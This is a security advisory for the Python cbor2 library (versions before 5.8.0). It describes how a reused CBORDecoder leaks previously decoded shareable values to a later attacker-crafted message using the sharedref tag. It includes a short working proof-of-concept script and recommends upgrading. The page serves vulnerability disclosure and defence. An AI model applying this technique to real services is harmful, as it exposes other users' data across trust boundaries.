Improper Removal of Sensitive Information Before Storage or Transfer Affecting cbor2 package, versions [,5.8.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.42% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-CBOR2-14742478
  • published1 Jan 2026
  • disclosed31 Dec 2025
  • creditAndreas Eriksen

Introduced: 31 Dec 2025

CVE-2025-68131  (opens in a new tab)
CWE-212  (opens in a new tab)

How to fix?

Upgrade cbor2 to version 5.8.0 or higher.

Overview

cbor2 is a CBOR (de)serializer with extensive tag support

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the CBORDecoder instance. An attacker can access data from previously decoded messages with a message that leverages the sharedref tag to retrieve values marked as shareable in earlier decode operations.

PoC

import cbor2
from io import BytesIO

# Message from trusted source containing a shareable value
msg1 = cbor2.dumps(cbor2.CBORTag(28, "secret"))

# Attacker-controlled message referencing index 0
msg2 = cbor2.dumps(cbor2.CBORTag(29, 0))

# Decoder reused across trust boundaries
decoder = cbor2.CBORDecoder(BytesIO(b''))
decoder.decode_from_bytes(msg1)
print(decoder.decode_from_bytes(msg2))  # prints "secret"

CVSS Base Scores

version 4.0
version 3.1